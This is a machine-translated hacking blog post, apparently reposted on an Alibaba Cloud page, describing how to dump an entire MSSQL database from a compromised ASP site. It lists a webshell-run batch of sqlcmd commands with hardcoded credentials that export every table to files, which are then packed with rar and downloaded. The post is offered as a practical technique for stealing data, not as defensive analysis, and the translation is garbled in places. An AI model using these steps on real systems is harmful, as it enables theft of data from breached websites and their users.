Sqlcmd remove mssql database [large databases are very effective]

Source: Internet
Author: User

Recently, I encountered an environment with my pants removed: the asp + mssql environment. The website database is separated and I want to take off all the content in the library and try a variety of pants-removing scripts, all of which are a little unsatisfactory to try ssql. although asp is fine, the library content is relatively large, and the script size is limited for each execution. For example, if only 10000 statements can be queried at a time, the query is performed multiple times, but the data volume is several hundred thousand, this execution is also very uncomfortable. Later, I found that the sqlcmd tool is available under the command line. If I can remotely execute the SQL command, I tried to back up the database remotely. The command is as follows: sqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "backup database xxx to disk = 'C: \ temp \ xxx. bak '"But failed. After analysis, the cms account has the public permission, if you do not have the backup permission, you can back up all the tables in the database. First, you can obtain the select name from cms for all the user tables in the database. dbo. sysobjects where xtype = 'U' is then made into a batch processing sqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table1"> c: \ temp \ table1.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table2"> c: \ temp \ table2.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table3"> c: \ temp \ table3.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table4"> c: \ temp \ table4.txt ....... in this way, the webshell can execute this batch of processing, and 100,000 of the data will be exported to the web server in a few seconds. Then, the download is completed by using rar to package thunder.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.